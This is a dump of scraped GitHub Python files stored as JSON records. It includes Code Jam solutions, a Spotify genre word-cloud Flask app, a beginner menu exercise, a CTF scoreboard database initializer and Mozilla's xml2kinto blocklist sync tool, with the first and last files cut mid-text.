i in xrange(numRounds):\n\t\tprices = tuple(int(x) for x in inp.readline().split())\n\t\tassert len(prices) == 2 ** (numRounds - i - 1)\n\t\tmatchPrices.append(prices)\n\treturn numRounds, maxMiss, matchPrices\n\ninfinity = 1024 * 100000\n\ndef buildTree(numRounds, maxMiss, matchPrices):\n\tchildren = [\n\t\t(None, None, infinity, miss)\n\t\tfor miss in maxMiss\n\t\t]\n\tfor prices in matchPrices:\n\t\tsiblings = []\n\t\tfor i, price in enumerate(prices):\n\t\t\tl = children[i * 2]\n\t\t\tr = children[i * 2 + 1]\n\t\t\tnode = (l, r, price, min(l[3], r[3]) - 1)\n\t\t\tsiblings.append(node)\n\t\tchildren = siblings\n\tassert len(children) == 1\n\treturn children[0]\n\ndef minCost(trees):\n\tltrees = []\n\trtrees = []\n\tfor l, r, price, miss in trees:\n\t\tltrees.append(l)\n\t\trtrees.append(r)\n\tif ltrees[0] is None:\n\t\treturn [infinity if tree[3] < 0 else 0 for tree in trees]\n\tlmin = minCost(ltrees)\n\trmin = minCost(rtrees)\n\tret = []\n\tfor i, tree in enumerate(trees):\n\t\tl, r, price, miss = tree\n\t\tcost = lmin[i] + rmin[i]\n\t\tif miss < 0:\n\t\t\tcost += price\n\t\t\ttry:\n\t\t\t\tnl = lmin[i + 1]\n\t\t\t\tnr = rmin[i + 1]\n\t\t\texcept IndexError:\n\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tcost = min(cost, nl + nr)\n\t\tret.append(cost)\n\treturn ret\n\ndef solve(numRounds, maxMiss, matchPrices):\n\tcostTrees = []\n\tfor i in xrange(numRounds):\n\t\tadjustedMiss = [miss - i for miss in maxMiss]\n\t\ttree = buildTree(numRounds, adjustedMiss, matchPrices)\n\t\tcostTrees.append(tree)\n\treturn minCost(costTrees)[0]\n\nif __name__ == '__main__':\n\tinp = open(FILE_NAME_BASE + '.in', 'r')\n\tnumCases = int(inp.readline())\n\tif NUM_PROCESSES == 0:\n\t\tresults = [\n\t\t\tsolve(*parse(inp))\n\t\t\tfor _ in range(numCases)\n\t\t\t]\n\telse:\n\t\tfrom multiprocessing import Pool\n\t\tpool = Pool(NUM_PROCESSES)\n\t\tresults = [\n\t\t\tpool.apply_async(solve, parse(inp))\n\t\t\tfor _ in range(numCases)\n\t\t\t]\n\tinp.close()\n\tout = open(FILE_NAME_BASE + '.out', 'w')\n\tfor case, result in enumerate(results):\n\t\tvalue = result if NUM_PROCESSES == 0 else result.get()\n\t\tout.write('Case #%d: %s\\n' % (case + 1, value))\n\t\tout.flush()\n\tout.close()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_66/37.py","file_name":"37.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30564607485","text":"# Created by: Mathieu Gilli\n# Goal: Create routes for genre word map page\n\n# Relevant modules/packages from package\nfrom spotapp import app, celery, s3, s3_client\nfrom spotapp.classes import SpotifyUser\n\n# Relevant modules/packages from pip\nimport matplotlib\nmatplotlib.use('Agg')\nfrom flask import render_template, session, redirect, url_for\nimport requests\nimport json\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nfrom matplotlib import pyplot as plt\nimport os\nfrom datetime import datetime\nimport pandas as pd\nimport urllib.parse\n\n# Create celery task to generate the wordmap\n@celery.task(name=\"create_wordmap\")\ndef create_wordmap(refresh_token, n):\n # Instantiate a spotify user\n visit = SpotifyUser()\n\n # Prepare request to get users saved tracks\n artists_to_query = []\n iteration = 1\n try:\n track_url = user_saved_tracks[\"next\"]\n except:\n track_url = \"https://api.spotify.com/v1/me/tracks?limit=50\"\n\n # Update while loop here when we are ready to run code for everysong - without iteration block\n while track_url != None and iteration <= (n / 50):\n try:\n r = visit.make_an_api_call(track_url, {\"Authorization\": \"Bearer \" + refresh_token})\n # Parse Response\n user_saved_tracks = json.loads(r.content)\n # Save artist url in list\n for i in user_saved_tracks[\"items\"]:\n song_uri = i[\"track\"][\"uri\"]\n for i2 in i[\"track\"][\"artists\"]:\n for i3, i4 in i2.items():\n if i3 == 'href':\n artists_to_query.append([song_uri, i4])\n track_url = user_saved_tracks[\"next\"]\n except:\n continue\n iteration += 1\n \n # Make a request to get users saved tracks related ARTIST\n genres_uri = []\n genres = []\n for song_uri, artist in artists_to_query:\n # Make api call to get artist data\n try:\n r = visit.make_an_api_call(artist, {\"Authorization\": \"Bearer \" + refresh_token})\n # Parse Response\n user_saved_artists = json.loads(r.content)\n # Add genres of queried song to list of genres to analyse\n for i in user_saved_artists.get(\"genres\", \"NA\"):\n genres_uri.append([song_uri, i])\n genres.append(i)\n except:\n continue\n \n # Generate wordmap, first Update stopwords:\n stopwords = set(STOPWORDS)\n stopwords.update([\"NA\"])\n\n # Convert list of genres into one big string of genres\n genres_string = \" \".join(genres)\n\n # Create and generate a word cloud image\n wordcloud = WordCloud(stopwords=stopwords, background_color=\"white\").generate(genres_string)\n\n # Display the generated image:\n plt.figure()\n plt.imshow(wordcloud, interpolation='bilinear')\n plt.axis(\"off\")\n\n # Option 1: Display and save the generated image:\n datetimenow_format = str(datetime.utcnow()).replace(\" \", \"\").replace(\":\", \"\").replace(\".\", \"\").replace(\"-\", \"\")\n file_name = \"wordmap\" + str(datetimenow_format) + \".png\"\n save_image_path = os.path.join(\"spotapp/static/genre_wordmap/\",file_name)\n display_image_path = os.path.join(\"static/genre_wordmap/\",file_name)\n wordcloud.to_file(save_image_path)\n plt.close(\"all\")\n\n # Upload a new file (send image to S3)\n data = open(save_image_path, \"rb\")\n s3.Bucket(\"spotify-mini-project-assets\").put_object(Key=save_image_path, Body=data)\n\n # Generate table with count of genres\n df_genres = pd.DataFrame(genres, columns = [\"genre\"])\n genres_count = df_genres.genre.value_counts().to_frame(\"count\")\n genres_count = genres_count.reset_index() \n genres_count.columns = [\"genre\", \"count\"]\n genres_count[\"genre_url\"] = genres_count[\"genre\"].apply(lambda x : urllib.parse.quote(x)).astype(str)\n \n # Transform into dictionary to pass to the template\n genres_count_dic = genres_count.to_dict(\"index\")\n\n # Generate the table sum\n genres_count_sum = genres_count[\"count\"].count()\n\n # Prepare task result\n result = {\n \"display_image_path\": display_image_path,\n \"save_image_path\": save_image_path,\n \"genres_count_dic\": genres_count_dic,\n \"genres_count_sum\": int(genres_count_sum),\n \"genres_uri\": genres_uri\n }\n result_json = json.dumps(result)\n \n return result_json\n\n# Define genre wordmap CREATION route\n@app.route(\"/hub/genrewordmap/create\", methods=[\"GET\",\"POST\"])\ndef genrewordmapcreate():\n # Remove celery task inside session\n session.pop(\"celery_task_genre_id\", None)\n\n # Check if a new default nb_songs_query is set, if so use it. Else use the default of 1000\n try:\n n = session[\"nb_songs_query\"]\n except:\n n = 1000\n\n # Instantiate a spotify user\n visit = SpotifyUser()\n # Get a new refreshed token\n refresh_token = visit.get_refresh_token(session[\"original_refresh_token\"])\n\n # Start celery task to create wordmap\n res = create_wordmap.delay(refresh_token, n)\n # Store celery task inside session\n session[\"celery_task_genre_id\"] = res.id\n\n # Return template for that user\n return redirect(url_for(\"genrewordmap\", _external=True))\n\n# Define genre wordmap route\n@app.route(\"/hub/genrewordmap\", methods=[\"GET\",\"POST\"])\ndef genrewordmap():\n # Get number of clusters from session (this is used to generate the nav items)\n try:\n cluster_num = session[\"cluster_number\"]\n except:\n cluster_num = \"NA\"\n # Get celery_task_cluster_id of cluster from session (this is used to generate the nav items)\n try:\n celery_task_cluster_id = session[\"celery_task_cluster_id\"]\n except:\n celery_task_cluster_id = \"NA\"\n # Check if a new default nb_songs_query is set, if so use it. Else use the default of 1000\n try:\n n = session[\"nb_songs_query\"]\n except:\n n = 1000\n\n # celery_task_genre_id from session\n task_id = session[\"celery_task_genre_id\"]\n # Get genres_count_sum, genres_count_dic and display_image_path of wordmap from celery_task\n try:\n # Getting the celery_task results\n res = celery.AsyncResult(task_id)\n\n # Getting the celery_task status, if True: set the session + variables to tasks results\n if res.ready():\n # Set function variables\n result_json = json.loads(res.get())\n display_image_path = result_json[\"display_image_path\"]\n genres_count_dic = result_json[\"genres_count_dic\"]\n genres_count_sum = result_json[\"genres_count_sum\"]\n genres_uri = result_json[\"genres_uri\"]\n save_image_path = result_json[\"save_image_path\"]\n # Clear session variables\n session.pop(\"display_image_path\", None)\n session.pop(\"genres_count_dic\", None)\n session.pop(\"genres_count_sum\", None)\n session.pop(\"genres_uri\", None)\n session.pop(\"save_image_path\", None)\n # Set session variables\n session[\"display_image_path\"] = display_image_path\n session[\"genres_count_dic\"] = genres_count_dic\n session[\"genres_count_sum\"] = genres_count_sum\n session[\"genres_uri\"] = list(genres_uri)\n session[\"save_image_path\"] = save_image_path\n\n # Download new results from S3\n s3_client.download_file(\"spotify-mini-project-assets\", save_image_path, save_image_path)\n # If new task was started\n elif res.status == \"STARTED\":\n display_image_path = \"NA\"\n genres_count_dic = \"NA\"\n genres_count_sum = \"NA\"\n genres_uri = \"NA\"\n save_image_path = \"NA\"\n # If unsuccessful use session\n else: \n display_image_path = session[\"display_image_path\"]\n genres_count_dic = session[\"genres_count_dic\"]\n genres_count_sum = session[\"genres_count_sum\"]\n genres_uri = session[\"genres_uri\"] \n save_image_path = session[\"save_image_path\"]\n\n # Download new results from S3\n s3_client.download_file(\"spotify-mini-project-assets\", save_image_path, save_image_path)\n # If unsuccessful set the variables to \"NA\"\n except:\n display_image_path = \"NA\"\n genres_count_dic = \"NA\"\n genres_count_sum = \"NA\"\n genres_uri = \"NA\"\n save_image_path = \"NA\"\n\n # Return template for that user\n return render_template(\"genrewordmap.html\", cluster_num=cluster_num, display_image_path=display_image_path, genres_count_dic=genres_count_dic,\\\n genres_count_sum=genres_count_sum, n=n, celery_task_cluster_id=celery_task_cluster_id)","repo_name":"mgilli360/spotify_mini_project","sub_path":"spotapp/genrewordmap.py","file_name":"genrewordmap.py","file_ext":"py","file_size_in_byte":8675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28238099111","text":"# leia 2 valores e mostre um menu na tela = [1]Soma [2]multiplicar [3]maior [4] novos número [5] sair do programa\nprint('=====Desafio 059=====')\n\n\nn1 = float(input('Digite o primeiro número: '))\nn2 = float(input('Digite o segundo número: '))\n\nsoma = n1 + n2\nmult = n1 * n2\nopcao = 0\nprint('Menu de Opções: ')\n\nwhile opcao != 5:\n opcao = int(input(\n '[1]Somar\\n[2]Multiplicar\\n[3]Maior\\n[4]Novos Números\\n[5]Sair do programa\\nEscolha: '))\n if opcao == 1:\n print(f'A soma entre {n1} e {n2} é de {soma}.')\n elif opcao == 2:\n print(f'A multiplicação entre {n1} e {n2} é de {mult}.')\n elif opcao == 3:\n if n1 > n2:\n maior = n1\n print(f'Entre {n1} e {n2} o maior número é {n1}')\n else:\n maior = n2\n print(f'Entre {n1} e {n2} o maior número é {n2}')\n if opcao == 4:\n n1 = float(input('Digite o primeiro número: '))\n n2 = float(input('Digite o segundo número: '))\nprint('Fim')\n","repo_name":"bonilha-rogante/Python","sub_path":"python_curso_em_video/desafio059.py","file_name":"desafio059.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43258327366","text":"import config\nimport UpdaterController\nimport csv\nimport os\n\nclass InitController(UpdaterController.UpdaterController):\n \"\"\"\n Init controller class used by initDB.py.\n \"\"\"\n\n def __init__(self):\n self._sUser = config.DB_INIT_USER\n self._sPass = config.DB_INIT_PASS\n self._sCrtFile = config.DB_INIT_CRT_FILE\n self._sKeyFile = config.DB_INIT_KEY_FILE\n self._categoriesFile = config.CATEGORIES_FILE\n self._flagsFile = config.FLAGS_FILE\n self._teamsFile = config.TEAMS_FILE\n self._bmiFile = config.BMI_FILE\n self._secretsFile = config.SECRETS_FILE\n\n self._sSSHUser = config.SSH_BMU_USER\n self._sSSHPubKey = config.SSH_BMU_PUB_KEY\n self._sSSHPrivKey= config.SSH_BMU_PRIV_KEY\n self._sSSHPrivKeyPwd = config.SSH_BMU_PRIV_PWD\n\n super().__init__()\n \n def __del__(self):\n if self._oDB:\n self.close()\n \n def _sanitize(self,data,t):\n if type(data) == str and data.lower() == 'null':\n return None\n\n options = {'str' : str, \\\n 'int': int, \\\n 'float': float, \\\n 'bool': lambda x: True if type(x) == str and x.lower() == 'true' else False}\n return options[t](data)\n \n def importTables(self):\n print('Importing DB structure')\n sql = ''.join(open(config.SQL_TABLE_FILE, 'r').readlines())\n self._oDBCursor.execute(sql)\n self.commit()\n\n def importFunctions(self):\n print('Importing DB functions')\n for f in sorted(os.listdir(config.SQL_FUNC_DIR)):\n file_path = \"%s/%s\" % (config.SQL_FUNC_DIR, f)\n if f.endswith('.sql'):\n print(' Importing: %s' % file_path)\n sql = ''.join(open(file_path, 'r').readlines())\n self._oDBCursor.execute(sql)\n self.commit()\n\n def importData(self):\n print('Importing DB data')\n sql = ''.join(open(config.SQL_DATA_FILE, 'r').readlines())\n self._oDBCursor.execute(sql)\n self.commit()\n\n def importCategories(self):\n self._oDBCursor.execute('TRUNCATE TABLE flagCategory CASCADE');\n with open(self._categoriesFile) as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n headers = reader.__next__()\n for row in reader:\n cname = row[0]\n ctitle = row[1]\n cdesc = row[2]\n chidden = row[3]\n print('Category: %s' % cname)\n \n if cname != 'Name':\n teamId = self.exec('addFlagCategory',\n self._sanitize(cname,'str'), \\\n self._sanitize(ctitle,'str'), \\\n self._sanitize(cdesc,'str'), \\\n self._sanitize(chidden,'bool'))\n self.commit()\n\n def importFlags(self):\n self._oDBCursor.execute('TRUNCATE TABLE flag CASCADE');\n with open(self._flagsFile) as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n\n for row in reader:\n print('Flag: %s' % '|'.join(row))\n fname = row[0]\n fvalue = row[1]\n fpts = row[2]\n fcash = row[3]\n fhost = row[4]\n fcat = row[5]\n fstatus = 1\n fdispint = row[6]\n fauthor = row[7]\n ftype = row[8]\n ftypeext = row[9]\n farg1 = row[10]\n farg2 = row[11]\n farg3 = row[12]\n farg4 = row[13]\n fdesc = row[14]\n fnews = row[15]\n \n if fname != 'Flag Name':\n if fvalue != '':\n self.exec('addFlag',self._sanitize(fname,'str'), \\\n self._sanitize(fvalue,'str'), \\\n self._sanitize(fpts,'int'), \\\n self._sanitize(fcash,'float'), \\\n self._sanitize(fhost,'str'), \\\n self._sanitize(fcat,'str'), \\\n self._sanitize(fstatus,'int'), \\\n self._sanitize(fdispint,'str'), \\\n self._sanitize(fauthor,'str'), \\\n self._sanitize(ftype,'str'), \\\n self._sanitize(ftypeext,'str'), \\\n self._sanitize(farg1,'str'), \\\n self._sanitize(farg2,'str'), \\\n self._sanitize(farg3,'str'), \\\n self._sanitize(farg4,'str'), \\\n self._sanitize(fdesc,'str'), \\\n self._sanitize(fnews,'str'))\n else:\n self.exec('addRandomFlag',self._sanitize(fname,'str'), \\\n self._sanitize(fpts,'int'), \\\n self._sanitize(fcash,'float'), \\\n self._sanitize(fhost,'str'), \\\n self._sanitize(fcat,'str'), \\\n self._sanitize(fstatus,'int'), \\\n self._sanitize(fdispint,'str'), \\\n self._sanitize(fauthor,'str'), \\\n self._sanitize(ftype,'str'), \\\n self._sanitize(ftypeext,'str'), \\\n self._sanitize(farg1,'str'), \\\n self._sanitize(farg2,'str'), \\\n self._sanitize(farg3,'str'), \\\n self._sanitize(farg4,'str'), \\\n self._sanitize(fdesc,'str'), \\\n self._sanitize(fnews,'str'))\n self.commit()\n\n def importTeams(self):\n #self._oDBCursor.execute('TRUNCATE TABLE team CASCADE');\n #self._oDBCursor.execute('TRUNCATE TABLE teamSecrets CASCADE');\n SECRETS_COLS_START = 3\n with open(self._teamsFile) as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n headers = reader.__next__()\n for row in reader:\n print('Team: %s' % '|'.join(row))\n tnum = row[0]\n tname = row[1]\n tnet = row[2]\n #pwd = row[2]\n \n # This is broken.\n if tname != 'Team Name':\n teamId = self.exec('addTeam', self._sanitize(tnum,'int'), \\\n self._sanitize(tname,'str'), \\\n self._sanitize(tnet,'str'), \\\n None,\n None)\n for i in range(SECRETS_COLS_START,len(headers)):\n self.exec('addTeamSecrets', teamId,\\\n self._sanitize(headers[i],'str'),\\\n self._sanitize(row[i],'str'))\n self.commit()\n\n def importSecrets(self):\n self._oDBCursor.execute('TRUNCATE TABLE teamSecrets CASCADE');\n with open(self._secretsFile) as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n headers = reader.__next__()\n for row in reader:\n print('Secrets: %s' % '|'.join(row))\n teamNum = row[0]\n \n for i in range(1,len(headers)):\n self.exec('addTeamSecrets', teamNum,\\\n self._sanitize(headers[i],'str'),\\\n self._sanitize(row[i],'str'))\n self.commit()\n\n def importBlackMarketItems(self):\n self._oDBCursor.execute('TRUNCATE TABLE bmItem CASCADE');\n\n with open(self._bmiFile) as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n headers = reader.__next__()\n \n # Delete already existing items on web servers\n cmd = 'rm ' + config.BMI_REMOTE_PATH + '/*'\n for host in config.BMI_HOSTS:\n print('Deleting black market items on %s' % host)\n self._remoteExec(host,cmd)\n\n for row in reader:\n print('BM Item: %s' % '|'.join(row))\n bmiName = row[0]\n bmiCat = 'admin'\n bmiStatusCode = config.BMI_STATUS_TO_PUBLISH\n bmiOwnerWallet = 1\n bmiAuthor = row[2]\n bmiAmount = row[3]\n bmiQty = row[4]\n bmiDispInt = row[5]\n bmiDesc = row[1]\n bmiImportName = row[6]\n bmiData = None\n bmiUpdateCmd = row[7]\n\n bmiLocalPath = config.BMI_LOCAL_PATH + '/' + bmiImportName\n \n if bmiName != 'Name':\n if os.path.isfile(bmiLocalPath):\n # Import in database\n #print('Importing item \"%s\"' % bmiName)\n bmiId = self.exec('addBMItem', self._sanitize(bmiName,'str'), \\\n self._sanitize(bmiCat,'str'), \\\n self._sanitize(bmiStatusCode,'int'), \\\n self._sanitize(bmiOwnerWallet,'int'), \\\n self._sanitize(bmiAmount,'float'), \\\n self._sanitize(bmiQty,'int'), \\\n self._sanitize(bmiDispInt,'str'), \\\n self._sanitize(bmiDesc,'str'), \\\n self._sanitize(bmiImportName.replace('/','_'),'str'), \\\n bmiData, \\\n self._sanitize(bmiUpdateCmd,'str'))\n\n # Get privateId from bmiId\n privateId = self._getBMItemPrivateId(int(bmiId))\n\n # Send on web servers\n remote_name = privateId+bmiImportName\n remote_name = remote_name.replace('/','_')\n self._uploadBMItemOnScoreboard(bmiImportName,remote_name)\n\n # update status (From TO_PUBLISH to FOR_SALE)\n self._updateBMItemStatus(bmiId,config.BMI_STATUS_FOR_SALE)\n else:\n print('File \"%s\" not found. Import of \"%s\" was canceled' % (bmiImportName,bmiName))\n self.commit()\n\n def importSecurity(self):\n sql = ''.join(open(config.SQL_SEC_FILE, 'r').readlines())\n self._oDBCursor.execute(sql)\n self.commit()\n\n def importAll(self):\n self.importTables()\n self.importFunctions()\n self.importData()\n self.importCategories()\n self.importFlags()\n #self.importSecrets()\n self.importTeams()\n #self.importBlackMarketItems()\n self.importSecurity()\n\n","repo_name":"hackfestca/hfscoreboard","sub_path":"lib/InitController.py","file_name":"InitController.py","file_ext":"py","file_size_in_byte":11335,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"74715203715","text":"import codecs\nimport json\nimport os\n\nfrom kinto_client import cli_utils\nfrom xml2kinto.kinto import get_kinto_records\nfrom xml2kinto.logger import logger\nfrom xml2kinto.scrap import scrap_details_from_amo\nfrom xml2kinto.synchronize import get_diff, push_changes\nfrom xml2kinto.xml import get_xml_records\n\n# options to move to a config file\nXML_FILE = os.path.abspath(os.path.join(\n os.path.dirname(os.path.dirname(__file__)),\n 'blocklist.xml'))\n\nSCHEMA_FILE = os.path.abspath(os.path.join(\n os.path.dirname(os.path.dirname(__file__)),\n 'schemas.json'))\n\nAUTH = ('mark', 'p4ssw0rd')\nCOLLECTION_PERMISSIONS = {'read': [\"system.Everyone\"]}\nCERT_BUCKET = u'blocklists'\nCERT_COLLECTION = u'certificates'\nGFX_BUCKET = u'blocklists'\nGFX_COLLECTION = u'gfx'\nADDONS_BUCKET = u'blocklists'\nADDONS_COLLECTION = u'add-ons'\nPLUGINS_BUCKET = u'blocklists'\nPLUGINS_COLLECTION = u'plugins'\nKINTO_SERVER = 'http://localhost:8888/v1'\n\nCERT_ITEMS_FIELDS = ('serialNumber', 'issuerName')\nGFX_ITEMS_FIELDS = ('blockID', 'os', 'vendor', 'feature', 'featureStatus',\n 'driverVersion', 'driverVersionMax',\n 'driverVersionComparator',\n ('devices', {'xpath': 'devices/*'}))\n\n\nADDONS_ITEMS_FIELDS = (\n 'blockID', 'os',\n ('id', {'name': 'guid'}),\n ('prefs', {'xpath': 'prefs/*'}),\n ('versionRange', {\n 'xpath': 'versionRange',\n 'fields': (\n 'minVersion',\n 'maxVersion',\n 'severity',\n ('targetApplication', {\n 'xpath': 'targetApplication',\n 'fields': (\n ('id', {'name': 'guid'}),\n ('versionRange/minVersion', {'name': 'minVersion'}),\n ('versionRange/maxVersion', {'name': 'maxVersion'})\n )\n })\n )\n })\n)\n\nPLUGINS_ITEMS_FIELDS = (\n 'blockID', 'os',\n (\"match[@name='name']/exp\", {'name': 'matchName'}),\n (\"match[@name='description']/exp\", {'name': 'matchDescription'}),\n (\"match[@name='filename']/exp\", {'name': 'matchFilename'}),\n 'infoURL',\n ('versionRange', {\n 'xpath': 'versionRange',\n 'fields': (\n 'minVersion',\n 'maxVersion',\n 'severity',\n ('vulnerabilitystatus', {'name': 'vulnerabilityStatus'}),\n ('targetApplication', {\n 'xpath': 'targetApplication',\n 'fields': (\n ('id', {'name': 'guid'}),\n ('versionRange/minVersion', {'name': 'minVersion'}),\n ('versionRange/maxVersion', {'name': 'maxVersion'})\n )\n })\n )})\n)\n\n\ndef sync_records(fields, filename, xpath, kinto_client, bucket, collection,\n schema=None, with_scrapping=False, force_signature=True):\n xml_records = get_xml_records(\n fields=fields,\n filename=filename,\n xpath=xpath)\n kinto_records = get_kinto_records(\n kinto_client=kinto_client,\n bucket=bucket,\n collection=collection,\n schema=schema,\n permissions=COLLECTION_PERMISSIONS)\n\n to_create, to_delete = get_diff(xml_records, kinto_records)\n\n if with_scrapping:\n to_create = scrap_details_from_amo(to_create)\n\n push_changes((to_create, to_delete), kinto_client,\n bucket=bucket, collection=collection,\n to_be_signed=force_signature)\n\n\ndef main(args=None):\n parser = cli_utils.add_parser_options(\n description='Syncs a Kinto DB',\n default_collection=None,\n default_bucket=None,\n default_server=KINTO_SERVER,\n default_auth=AUTH,\n include_bucket=False,\n include_collection=False)\n\n parser.add_argument('--cert-bucket', help='Bucket name for certificates',\n type=str, default=CERT_BUCKET)\n\n parser.add_argument('--cert-collection',\n help='Collection name for certificates',\n type=str, default=CERT_COLLECTION)\n\n parser.add_argument('--gfx-bucket', help='Bucket name for gfx',\n type=str, default=GFX_BUCKET)\n\n parser.add_argument('--gfx-collection',\n help='Collection name for gfx',\n type=str, default=GFX_COLLECTION)\n\n parser.add_argument('--addons-bucket', help='Bucket name for addons',\n type=str, default=ADDONS_BUCKET)\n\n parser.add_argument('--addons-collection',\n help='Collection name for addon',\n type=str, default=ADDONS_COLLECTION)\n\n parser.add_argument('--plugins-bucket', help='Bucket name for plugins',\n type=str, default=PLUGINS_BUCKET)\n\n parser.add_argument('--plugins-collection',\n help='Collection name for plugin',\n type=str, default=PLUGINS_COLLECTION)\n\n parser.add_argument('-x', '--xml-file', help='XML Source file',\n type=str, default=XML_FILE)\n\n parser.add_argument('-S', '--schema-file', help='JSON Schemas file',\n type=str, default=SCHEMA_FILE)\n\n parser.add_argument('--no-schema', help='Should we handle schemas',\n action=\"store_true\")\n\n parser.add_argument('--with-scrapping', action=\"store_true\",\n help='Activate blocklist scrapping on AMO')\n\n parser.add_argument('-C', '--certificates',\n help='Only import certificates',\n action='store_true')\n\n parser.add_argument('-G', '--gfx', help='Only import GFX drivers',\n action='store_true')\n\n parser.add_argument('-A', '--addons', help='Only import addons',\n action='store_true')\n\n parser.add_argument('-P', '--plugins', help='Only import plugins',\n action='store_true')\n\n args = parser.parse_args(args=args)\n # If none of the different \"collections\" were passed as parameter, then we\n # want to import them all.\n import_all = not any([\n args.certificates,\n args.gfx,\n args.addons,\n args.plugins])\n\n cli_utils.setup_logger(logger, args)\n\n kinto_client = cli_utils.create_client_from_args(args)\n\n # Load the schemas\n schemas = {}\n if not args.no_schema:\n with codecs.open(args.schema_file, 'r', encoding='utf-8') as f:\n schemas = json.load(f)\n\n # Import certificates\n collections = {\n # Certificates\n 'certificates': dict(\n fields=CERT_ITEMS_FIELDS,\n filename=args.xml_file,\n xpath='certItems/*',\n kinto_client=kinto_client,\n bucket=args.cert_bucket,\n collection=args.cert_collection,\n schema=schemas.get(args.cert_collection,\n schemas.get(CERT_COLLECTION))),\n # GFX drivers\n 'gfx': dict(\n fields=GFX_ITEMS_FIELDS,\n filename=args.xml_file,\n xpath='gfxItems/*',\n kinto_client=kinto_client,\n bucket=args.gfx_bucket,\n collection=args.gfx_collection,\n schema=schemas.get(args.gfx_collection,\n schemas.get(GFX_COLLECTION))),\n # Addons\n 'addons': dict(\n fields=ADDONS_ITEMS_FIELDS,\n filename=args.xml_file,\n xpath='emItems/*',\n kinto_client=kinto_client,\n bucket=args.addons_bucket,\n collection=args.addons_collection,\n schema=schemas.get(args.addons_collection,\n schemas.get(ADDONS_COLLECTION)),\n with_scrapping=args.with_scrapping),\n # Plugins\n 'plugins': dict(\n fields=PLUGINS_ITEMS_FIELDS,\n filename=args.xml_file,\n xpath='pluginItems/*',\n kinto_client=kinto_client,\n bucket=args.plugins_bucket,\n collection=args.plugins_collection,\n schema=schemas.get(args.plugins_collection,\n schemas.get(PLUGINS_COLLECTION)),\n with_scrapping=args.with_scrapping)}\n\n for collection_type, collection in collections.items():\n if getattr(args, collection_type) or import_all:\n sync_records(**collection)\n\n\nif __name__ == '__main__': # pragma: nocover\n main()\n","repo_name":"mozilla-services/xml2kinto","sub_path":"xml2kinto/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":8378,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23418340031","text":"def diffgrids(rowa, rowb, grida, gridb):\n\tcounter = 0\n\tsolution = 0\n\tfor card in (grida[rowa]):\n\t\tif card in gridb[rowb]:\n\t\t\tfor cardb in (gridb[rowb]):\n\t\t\t\tif cardb == card:\n\t\t\t\t\tsolution = card\n\t\t\t\t\tcounter +=1\n\tif counter == 0:\n\t\treturn \"Volunteer cheated!\"\n\telif counter == 1:\n\t\treturn solution\n\telse:\n\t\treturn \"Bad magician!\"\n\t\ndef main():\n\ta = []\n\tindeces = []\n\tgrids = []\n\twith open('data.txt') as fp:\n\t\ta = fp.read().splitlines()\n\t\t\n\tnumcases = int(a.pop(0))\n\ttempgrid = []\n\t\n\tfor ind in range (len(a)):\n\t\tif len(a[ind]) < 4:\n\t\t\tindeces.append(int(a[ind]) - 1)\n\t\telse:\n\t\t\ttempgrid.append((a[ind]).split())\n\t\t\tif len(tempgrid) == 4:\n\t\t\t\tgrids.append(tempgrid)\n\t\t\t\ttempgrid = []\n\tcase = 0\n\tj = 0\n\toutfile = open('output.txt', 'w')\n\twhile case < (numcases):\n\t\tcaseline = \"Case #{}: {}\".format(case + 1, diffgrids(indeces[j], indeces[j + 1], grids[j], grids[j + 1]))\n\t\tprint>>outfile, caseline\n\t\tj += 2\n\t\tcase +=1\n\t\t\nmain()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/3969.py","file_name":"3969.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73217258433","text":"import shapeOperations\nimport shapeCodeGenerator\nimport globalInfos\nimport shapeViewer\nimport utils\nfrom utils import OutputString\nimport pygame\nimport io\n\nclass Operation:\n\n def __init__(self,numInputs:int,numOutputs:int,fullName:str,func,colorInputIndexes:list[int]|None=None) -> None:\n self.numInputs = numInputs\n self.numOutputs = numOutputs\n self.fullName = fullName\n self.func = func\n self.colorInputindexes = [] if colorInputIndexes is None else colorInputIndexes\n self.image = None\n\nclass Instruction:\n\n DEF = \"def\"\n OP = \"op\"\n\n def __init__(self,type:str,*,shapeVars:list[int]|None=None,shapeCodes:list[str]|None=None,\n inputShapeVars:list[int]|None=None,inputColorVars:list[str]|None=None,operation:Operation|None=None,outputShapeVars:list[int]|None=None) -> None:\n self.type = type\n if type == Instruction.DEF:\n self.vars = shapeVars\n self.shapeCodes = shapeCodes\n else:\n self.inputs = inputShapeVars\n self.colorInputs = inputColorVars\n self.op = operation\n self.outputs = outputShapeVars\n\nclass GraphNode:\n\n SHAPE = \"shape\"\n OP = \"op\"\n\n def __init__(self,type:str,inputs:list[int]|None,outputs:list[int]|None,image:pygame.Surface,\n shapeVar:int|None=None,shapeCode:str|None=None) -> None:\n self.type = type\n self.inputs = inputs\n self.outputs = outputs\n self.image = image\n self.shapeVar = shapeVar\n self.shapeCode = shapeCode\n self.layer = None\n self.pos = None\n\nclass _GraphNodeLoopError(Exception): ...\n\nINSTRUCTION_SEPARATOR = \";\"\nDEFINITION_SEPARATOR = \"=\"\nVALUE_SEPARATOR = \",\"\nOPERATION_SEPARATOR = \":\"\n\nIMAGES_START_PATH = 